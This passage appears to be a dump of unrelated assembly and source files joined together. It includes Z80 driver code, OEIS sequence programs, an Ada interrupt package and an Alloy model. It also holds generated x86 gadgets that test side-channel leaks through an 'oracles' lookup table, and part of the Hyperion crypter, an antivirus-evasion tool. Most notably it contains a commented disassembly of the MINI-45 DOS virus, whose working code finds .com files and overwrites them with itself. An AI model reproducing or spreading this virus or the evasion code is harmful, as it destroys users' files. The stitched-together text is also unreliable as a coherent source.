edit_buffer_len >= 0 ; can use: af, bc, de, hl, ix ; ; Note: The cursor char is not stored in the buffer. ; ; * ITERM_MSG_ERASE_CURSOR_PWD ; ; Input terminal is backspacing to erase the cursor in password mode. ; ; enter : e = CHAR_PASSWORD ; bc = int edit_buffer_len >= 0 ; can use: af, bc, de, hl, ix ; ; Note: The cursor char is not stored in the buffer. ; ; * ITERM_MSG_BS ; ; Backspace: erase the last char of the edit buffer. ; ; enter : de = char *edit_buffer ; bc = int edit_buffer_len > 0 ; can use: af, bc, de, hl, ix ; ; * ITERM_MSG_BS_PWD ; ; Backspace: erase the last char. The input terminal ; is in password mode so all characters are printed ; to screen as CHAR_PASSWORD. ; ; enter : e = CHAR_PASSWORD ; bc = int edit_buffer_len > 0 ; can use: af, bc, de, hl, ix ; ; * ITERM_MSG_READLINE_BEGIN ; ; Notification: The input terminal is starting ; a new edit line. ; ; can use: af, bc, de, hl, ix ; ; * ITERM_MSG_READLINE_END ; ; Notification: The input terminal has finished ; the edit line. ; ; can use: af, bc, de, hl, ix ; ; * ITERM_MSG_BELL ; ; Sound bell to indicate edit buffer limit reached. ; ; can use: af, bc, de, hl, ix ; ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; IOCTLs UNDERSTOOD BY THIS DRIVER ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; * IOCTL_RESET ; ; * IOCTL_ITERM_TIE ; Attach input device to a different output terminal (0 to disconnect) ; ; * IOCTL_ITERM_GET_EDITBUF ; Copies edit buffer details to user program ; ; * IOCTL_ITERM_SET_EDITBUF ; Writes edit buffer details into driver ; ; * IOCTL_ITERM_ECHO ; enable / disable echo mode ; ; * IOCTL_ITERM_PASS ; enable / disable password mode ; ; * IOCTL_ITERM_LINE ; enable / disable line editing mode ; ; * IOCTL_ITERM_COOK ; enable / disable cook mode ; ; * IOCTL_ITERM_CAPS ; set / reset caps lock ; ; * IOCTL_ITERM_CRLF ; enable / disable crlf processing ; ; * IOCTL_ITERM_CURS ; enable / disable cursor in line mode ; ; ;;;;;;;;;;;;;;;;;;;;;;;;;; ; BYTES RESERVED IN FDSTRUCT ; ;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; offset (wrt FDSTRUCT.JP) description ; ; 8..13 mutex ; 14..15 FDSTRUCT *oterm (connected output terminal, 0 if none) ; 16 pending_char ; 17..18 read_index (index of next char to read from edit buffer) ; 19..24 b_array (manages edit buffer) SECTION code_driver SECTION code_driver_terminal_input PUBLIC console_01_input_terminal EXTERN STDIO_MSG_GETC, STDIO_MSG_EATC, STDIO_MSG_READ EXTERN STDIO_MSG_SEEK, STDIO_MSG_FLSH, STDIO_MSG_ICTL EXTERN STDIO_MSG_CLOS, ITERM_MSG_INTERRUPT EXTERN console_01_input_stdio_msg_getc, console_01_input_stdio_msg_eatc EXTERN console_01_input_stdio_msg_read, console_01_input_stdio_msg_seek EXTERN console_01_input_stdio_msg_flsh, console_01_input_stdio_msg_ictl EXTERN error_zc, error_znc, error_enotsup_zc console_01_input_terminal: cp STDIO_MSG_GETC jp z, console_01_input_stdio_msg_getc cp ITERM_MSG_INTERRUPT jp z, error_zc ; line editing is not interrupted cp STDIO_MSG_EATC jp z, console_01_input_stdio_msg_eatc cp STDIO_MSG_READ jp z, console_01_input_stdio_msg_read cp STDIO_MSG_SEEK jp z, console_01_input_stdio_msg_seek cp STDIO_MSG_FLSH jp z, console_01_input_stdio_msg_flsh cp STDIO_MSG_ICTL jp z, console_01_input_stdio_msg_ictl cp STDIO_MSG_CLOS jp z, error_znc ; do nothing and report no error jp error_enotsup_zc ; hl = 0 puts FILE stream in error state
oeis/122/A122031.asm
neoneye/loda-programs
11
29005
<gh_stars>10-100 ; A122031: a(n) = a(n - 1) + (n - 1)*a(n - 2). ; Submitted by <NAME>(s1.) ; 1,2,3,7,16,44,124,388,1256,4360,15664,59264,231568,942736,3953120,17151424,76448224,350871008,1650490816,7966168960,39325494464,198648873664,1024484257408,5394759478016,28957897398400,158432124870784,882379559830784,5001614806471168,28825862921902336,168871077503095040,1004821102238262784,6070953427331113984,37220407596717260288,231490917271312907776,1459764367962982497280,9330455555187621361664,60422208433892008766464,396318608420646377786368,2631940320474650702145536 mov $3,1 lpb $0 sub $0,1 mov $2,$3 add $3,$1 mov $1,$2 mul $1,$0 lpe add $2,$3 mov $0,$2
Transynther/x86/_processed/AVXALIGN/_st_/i9-9900K_12_0xa0_notsx.log_21829_1995.asm
ljhsiun2/medusa
9
98258
<filename>Transynther/x86/_processed/AVXALIGN/_st_/i9-9900K_12_0xa0_notsx.log_21829_1995.asm .global s_prepare_buffers s_prepare_buffers: push %r12 push %r15 push %r8 push %rax push %rbx push %rcx push %rsi lea addresses_D_ht+0x17fa7, %rsi nop cmp %r15, %r15 mov (%rsi), %ebx nop nop nop nop nop add %rcx, %rcx lea addresses_UC_ht+0x1e210, %r12 nop nop cmp $56408, %r8 movl $0x61626364, (%r12) nop nop nop nop and $6606, %r8 lea addresses_normal_ht+0x4e27, %rax nop add %r12, %r12 movb $0x61, (%rax) nop nop nop nop nop add $54709, %r15 pop %rsi pop %rcx pop %rbx pop %rax pop %r8 pop %r15 pop %r12 ret .global s_faulty_load s_faulty_load: push %r14 push %r8 push %rax push %rbp push %rcx push %rdi push %rsi // REPMOV lea addresses_US+0x191a7, %rsi lea addresses_WT+0x51af, %rdi nop nop nop nop nop xor $5048, %r8 mov $19, %rcx rep movsb nop nop nop cmp %rsi, %rsi // Load mov $0xb7, %rax nop and $55215, %rbp movaps (%rax), %xmm5 vpextrq $1, %xmm5, %r8 dec %rdi // Store lea addresses_PSE+0x1aa27, %rax clflush (%rax) nop nop nop nop xor $58965, %rcx movw $0x5152, (%rax) nop nop and $42934, %r8 // Faulty Load lea addresses_RW+0x29a7, %rax nop cmp $8955, %rsi movb (%rax), %cl lea oracles, %rax and $0xff, %rcx shlq $12, %rcx mov (%rax,%rcx,1), %rcx pop %rsi pop %rdi pop %rcx pop %rbp pop %rax pop %r8 pop %r14 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_RW', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'} {'src': {'type': 'addresses_US', 'congruent': 11, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT', 'congruent': 3, 'same': False}} {'src': {'type': 'addresses_P', 'AVXalign': True, 'size': 16, 'NT': False, 'same': False, 'congruent': 3}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': True, 'size': 2, 'NT': False, 'same': False, 'congruent': 4}} [Faulty Load] {'src': {'type': 'addresses_RW', 'AVXalign': False, 'size': 1, 'NT': True, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_D_ht', 'AVXalign': True, 'size': 4, 'NT': True, 'same': False, 'congruent': 8}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': True, 'size': 4, 'NT': False, 'same': False, 'congruent': 0}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 6}} {'32': 21829} 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 */
MSDOS/Virus.MSDOS.Unknown.mini-45.asm
fengjixuchui/Family
3
25212
<gh_stars>1-10 ;*************************************************************** ; DISASSEMBLY of the MINI-45 VIRUS ;*************************************************************** ; FIND .COM FILE TO INFECT ;*************************************************************** MOV DX, 127h ;filehandle search criteria-27bytes ;away from beg. of file MOV AH, 4Eh ;setup for Dos function-find file INT 21h ;search for first file match JB FILESPEC ;jump below and return ;**************************************************************** ; OPEN FILE ;**************************************************************** FIRST_FILE: MOV DX, 009Eh ;pointer to asciiz file spec MOV AX, 3D02h ;moving 3d into ah=call dos to open file ;moving 02 into al=we want read\write ;access INT 21h ;call dos function and open file. ;file handle found is put in ax register JB NEXT_MATCH ;search for next match ;**************************************************************** ; WRITE VIRUS CODE TO FILE ;**************************************************************** XCHG AX,BX ;put retrieved file handle from 3d open ;call into bx so it can be used for ;write function. MOV DX, 0100h ;point to buffer of data to write, i.e. ;to myself MOV CX, 002Dh ;#of bytes to write. 45d bytes MOV AH, 40h ;setup write to file dos function INT 21h ;write to file indicated in bx ;****************************************************************** ; CLOSE FILE ;****************************************************************** MOV AH, 3Eh ;setup for dos function to close file INT 21h ;close file ;****************************************************************** ; FIND NEXT FILE MATCH ;****************************************************************** NEXT MATCH: MOV AH, 4Fh ;search for next file match JMP FIRST_FILE ;return above ;****************************************************************** ; FILESPEC: db '*.com' db 00 
programs/oeis/058/A058373.asm
karttu/loda
0
13714
<reponame>karttu/loda<gh_stars>0 ; A058373: a(n) = (1/6)*(2*n - 3)*(n + 2)*(n + 1). ; 0,0,-1,-1,2,10,25,49,84,132,195,275,374,494,637,805,1000,1224,1479,1767,2090,2450,2849,3289,3772,4300,4875,5499,6174,6902,7685,8525,9424,10384,11407,12495,13650,14874,16169,17537,18980,20500,22099 mov $2,$0 mov $3,$0 mov $5,6 lpb $0,1 mov $0,1 mov $1,$3 bin $1,2 sub $2,2 add $2,$3 mov $4,1 sub $4,$5 lpe add $4,$2 mul $1,$4 div $1,3
programs/oeis/137/A137893.asm
karttu/loda
1
8299
<gh_stars>1-10 ; A137893: Fixed point of the morphism 0->100, 1->101, starting from a(1) = 1. ; 1,0,1,1,0,0,1,0,1,1,0,1,1,0,0,1,0,0,1,0,1,1,0,0,1,0,1,1,0,1,1,0,0,1,0,1,1,0,1,1,0,0,1,0,0,1,0,1,1,0,0,1,0,0,1,0,1,1,0,0,1,0,1,1,0,1,1,0,0,1,0,0,1,0,1,1,0,0,1,0,1,1,0,1,1,0,0,1,0,1,1,0,1,1,0,0,1,0,0,1,0,1,1,0,0 add $0,1 mul $0,2 mov $1,$0 lpb $0,2 div $1,3 gcd $1,$0 lpe sub $1,1
alloy4fun_models/trashltl/models/6/J9uasp5Xb2aEnb3iC.als
Kaixi26/org.alloytools.alloy
0
4764
open main pred idJ9uasp5Xb2aEnb3iC_prop7 { some f: File | always (eventually f in Protected) } pred __repair { idJ9uasp5Xb2aEnb3iC_prop7 } check __repair { idJ9uasp5Xb2aEnb3iC_prop7 <=> prop7o }
Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0x48_notsx.log_21829_1545.asm
ljhsiun2/medusa
9
82079
<reponame>ljhsiun2/medusa .global s_prepare_buffers s_prepare_buffers: push %r10 push %r15 push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_D_ht+0x16eed, %rdx nop nop nop nop xor %r15, %r15 mov (%rdx), %r10 nop and $33321, %rbx lea addresses_UC_ht+0x846d, %rsi lea addresses_A_ht+0x1b5bd, %rdi nop nop nop sub $35345, %rdx mov $45, %rcx rep movsw nop nop nop nop xor %rbx, %rbx lea addresses_WT_ht+0x10465, %rbx cmp $42230, %r10 movb $0x61, (%rbx) nop nop nop nop cmp %r15, %r15 lea addresses_WT_ht+0x17061, %r15 nop nop xor %rcx, %rcx movb $0x61, (%r15) nop nop nop nop add %rdx, %rdx lea addresses_A_ht+0xba11, %rsi lea addresses_WT_ht+0xae6d, %rdi nop dec %r15 mov $62, %rcx rep movsb dec %rbx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %r15 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r13 push %r14 push %r9 push %rax push %rcx push %rdi push %rdx push %rsi // Store lea addresses_PSE+0x13c6d, %r12 nop nop dec %rax movb $0x51, (%r12) nop nop sub $6368, %rax // Store lea addresses_A+0x511d, %r11 nop nop nop nop nop xor $23819, %r14 mov $0x5152535455565758, %r9 movq %r9, (%r11) add %r12, %r12 // Store lea addresses_UC+0x1946d, %r14 nop nop nop add %r13, %r13 movb $0x51, (%r14) nop nop nop nop and $63012, %rax // Store lea addresses_PSE+0xcc6d, %r11 nop nop nop nop nop dec %rax mov $0x5152535455565758, %r12 movq %r12, %xmm0 vmovups %ymm0, (%r11) nop nop nop nop nop add %rdx, %rdx // Store lea addresses_normal+0x8749, %r14 add %rax, %rax movl $0x51525354, (%r14) nop nop nop nop nop add %r14, %r14 // Store lea addresses_D+0xee8d, %r9 sub $54899, %rdx mov $0x5152535455565758, %r12 movq %r12, (%r9) and %r13, %r13 // REPMOV lea addresses_D+0xea2d, %rsi lea addresses_UC+0xc46d, %rdi clflush (%rdi) nop xor %rdx, %rdx mov $30, %rcx rep movsw nop add $58360, %r11 // Store lea addresses_RW+0x1a1ad, %r9 nop nop nop add %rdx, %rdx mov $0x5152535455565758, %r11 movq %r11, %xmm0 movaps %xmm0, (%r9) nop inc %r12 // Faulty Load lea addresses_PSE+0x13c6d, %rdi nop nop nop nop nop inc %r11 movups (%rdi), %xmm5 vpextrq $0, %xmm5, %rax lea oracles, %r13 and $0xff, %rax shlq $12, %rax mov (%r13,%rax,1), %rax pop %rsi pop %rdx pop %rdi pop %rcx pop %rax pop %r9 pop %r14 pop %r13 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_PSE', 'congruent': 0}} {'dst': {'same': True, 'NT': False, 'AVXalign': True, 'size': 1, 'type': 'addresses_PSE', 'congruent': 0}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_A', 'congruent': 4}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_UC', 'congruent': 11}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_PSE', 'congruent': 11}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': True, 'AVXalign': False, 'size': 4, 'type': 'addresses_normal', 'congruent': 2}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_D', 'congruent': 5}, 'OP': 'STOR'} {'dst': {'same': False, 'congruent': 8, 'type': 'addresses_UC'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 6, 'type': 'addresses_D'}} {'dst': {'same': False, 'NT': False, 'AVXalign': True, 'size': 16, 'type': 'addresses_RW', 'congruent': 5}, 'OP': 'STOR'} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_PSE', 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_D_ht', 'congruent': 7}} {'dst': {'same': True, 'congruent': 3, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_UC_ht'}} {'dst': {'same': False, 'NT': True, 'AVXalign': False, 'size': 1, 'type': 'addresses_WT_ht', 'congruent': 3}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_WT_ht', 'congruent': 2}, 'OP': 'STOR'} {'dst': {'same': False, 'congruent': 9, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_A_ht'}} {'51': 21829} 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 */
llvm-gcc-4.2-2.9/gcc/ada/s-intman-irix.adb
vidkidz/crossbridge
1
15337
<reponame>vidkidz/crossbridge<gh_stars>1-10 ------------------------------------------------------------------------------ -- -- -- GNAT RUN-TIME LIBRARY (GNARL) COMPONENTS -- -- -- -- S Y S T E M . I N T E R R U P T _ M A N A G E M E N T -- -- -- -- B o d y -- -- -- -- Copyright (C) 1991-1994, Florida State University -- --- Copyright (C) 1995-2006, AdaCore -- -- -- -- GNARL is free software; you can redistribute it and/or modify it under -- -- terms of the GNU General Public License as published by the Free Soft- -- -- ware Foundation; either version 2, or (at your option) any later ver- -- -- sion. GNARL is distributed in the hope that it will be useful, but WITH- -- -- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -- -- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License -- -- for more details. You should have received a copy of the GNU General -- -- Public License distributed with GNARL; see file COPYING. If not, write -- -- to the Free Software Foundation, 51 Franklin Street, Fifth Floor, -- -- Boston, MA 02110-1301, USA. -- -- -- -- As a special exception, if other files instantiate generics from this -- -- unit, or you link this unit with other files to produce an executable, -- -- this unit does not by itself cause the resulting executable to be -- -- covered by the GNU General Public License. This exception does not -- -- however invalidate any other reasons why the executable file might be -- -- covered by the GNU Public License. -- -- -- -- GNARL was developed by the GNARL team at Florida State University. -- -- Extensive contributions were provided by Ada Core Technologies, Inc. -- -- -- ------------------------------------------------------------------------------ -- This is a SGI Pthread version of this package. -- Make a careful study of all signals available under the OS, -- to see which need to be reserved, kept always unmasked, -- or kept always unmasked. -- Be on the lookout for special signals that -- may be used by the thread library. package body System.Interrupt_Management is use System.OS_Interface; type Interrupt_List is array (Interrupt_ID range <>) of Interrupt_ID; Exception_Interrupts : constant Interrupt_List := (SIGTSTP, SIGILL, SIGTRAP, SIGEMT, SIGFPE, SIGBUS, SIGSTOP, SIGKILL, SIGSEGV, SIGSYS, SIGXCPU, SIGXFSZ, SIGPROF, SIGPTINTR, SIGPTRESCHED, SIGABRT, SIGPIPE); Unreserve_All_Interrupts : Interfaces.C.int; pragma Import (C, Unreserve_All_Interrupts, "__gl_unreserve_all_interrupts"); function State (Int : Interrupt_ID) return Character; pragma Import (C, State, "__gnat_get_interrupt_state"); -- Get interrupt state. Defined in a-init.c -- The input argument is the interrupt number, -- and the result is one of the following: User : constant Character := 'u'; Runtime : constant Character := 'r'; Default : constant Character := 's'; -- 'n' this interrupt not set by any Interrupt_State pragma -- 'u' Interrupt_State pragma set state to User -- 'r' Interrupt_State pragma set state to Runtime -- 's' Interrupt_State pragma set state to System (use "default" -- system handler) ---------------- -- Initialize -- ---------------- Initialized : Boolean := False; procedure Initialize is use type Interfaces.C.int; begin if Initialized then return; end if; Initialized := True; Abort_Task_Interrupt := SIGABRT; -- Change this if you want to use another signal for task abort. -- SIGTERM might be a good one. pragma Assert (Keep_Unmasked = (Interrupt_ID'Range => False)); pragma Assert (Reserve = (Interrupt_ID'Range => False)); -- Process state of exception signals for J in Exception_Interrupts'Range loop if State (Exception_Interrupts (J)) /= User then Keep_Unmasked (Exception_Interrupts (J)) := True; Reserve (Exception_Interrupts (J)) := True; end if; end loop; if State (Abort_Task_Interrupt) /= User then Keep_Unmasked (Abort_Task_Interrupt) := True; Reserve (Abort_Task_Interrupt) := True; end if; -- Set SIGINT to unmasked state as long as it's -- not in "User" state. Check for Unreserve_All_Interrupts last if State (SIGINT) /= User then Keep_Unmasked (SIGINT) := True; end if; -- Check all signals for state that requires keeping them -- unmasked and reserved for J in Interrupt_ID'Range loop if State (J) = Default or else State (J) = Runtime then Keep_Unmasked (J) := True; Reserve (J) := True; end if; end loop; -- Process pragma Unreserve_All_Interrupts. This overrides any -- settings due to pragma Interrupt_State: if Unreserve_All_Interrupts /= 0 then Keep_Unmasked (SIGINT) := False; Reserve (SIGINT) := False; end if; -- We do not have Signal 0 in reality. We just use this value -- to identify not existing signals (see s-intnam.ads). Therefore, -- Signal 0 should not be used in all signal related operations hence -- mark it as reserved. Reserve (0) := True; end Initialize; end System.Interrupt_Management;
Src/Container/32/logfile_enable.asm
The-Cracker-Technology/hyperion
0
90504
<reponame>The-Cracker-Technology/hyperion ;------------------------------------------- ;the content of this file is excluded, | ;when the user disables logging features | ;in hyperion command line. pls keep in mind | ;and dont rely on its existence. | ;------------------------------------------- ;--- Begin Macro Section --- ;writes a string and a newline to the logfile macro writeWithNewLine char_sequence, char_buffer, error_exit { char_sequence char_buffer lea eax,[str1] stdcall writeLog_,[APITable],eax test eax,eax jz error_exit stdcall writeNewLineToLog_,[APITable] test eax,eax jz error_exit } ;write a string to the logfile macro writeLog apitable, content{ stdcall writeLog_,[apitable], content } ;delete old log file and create a new one macro initLogFile apitable{ stdcall initLogFile_, [apitable] } ;write a newline into logfile macro writeNewLineToLog apitable{ stdcall writeNewLineToLog_, [apitable] } ;write a register value into logile macro writeRegisterToLog apitable, value{ stdcall writeRegisterToLog_, [apitable], value } ;--- End Macro Section --- ;write <content> into log.txt ;returns false if an eerror occurs proc writeLog_ stdcall APITable:DWORD, content:DWORD local str1[256]:BYTE, oldlogsize:DWORD, newlogsize:DWORD, contentsize:DWORD,\ filehandle:DWORD, filemappingobject:DWORD, mapaddress:DWORD, retval:DWORD pushad ;open file createStringLogTxt str1 mov eax,[APITable] lea ebx,[str1] sub edx,edx stdcall dword [eax+CreateFile], ebx, GENERIC_READ or GENERIC_WRITE, FILE_SHARE_READ, edx, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, edx mov [retval],eax test eax,eax jz wl_logexit mov [filehandle],eax ;get logfile size mov eax,[APITable] stdcall dword [eax+GetFileSize], dword [filehandle], 0 mov [oldlogsize],eax ;get size of string for logfile for concatenation stdcall strlen_, dword [content] mov [contentsize], eax add eax,dword [oldlogsize] mov [newlogsize], eax ;create the file mapping sub ebx,ebx mov edx,[APITable] stdcall dword [edx+CreateFileMapping], dword [filehandle], ebx, PAGE_READWRITE, ebx, eax, ebx mov [retval],eax test eax, eax jz wl_closelogfile mov [filemappingobject],eax sub ebx,ebx mov edx,[APITable] stdcall dword [edx+MapViewOfFile], eax, FILE_MAP_ALL_ACCESS, ebx, ebx, dword [newlogsize] mov [retval],eax test eax, eax jz wl_closemaphandle mov [mapaddress],eax ;copy string into map add eax,[oldlogsize] mov edi,eax mov esi,[content] mov ecx,[contentsize] repz movsb mov [retval],1 wl_unmapfile: mov edx,[APITable] stdcall dword [edx+UnmapViewOfFile], dword [mapaddress] 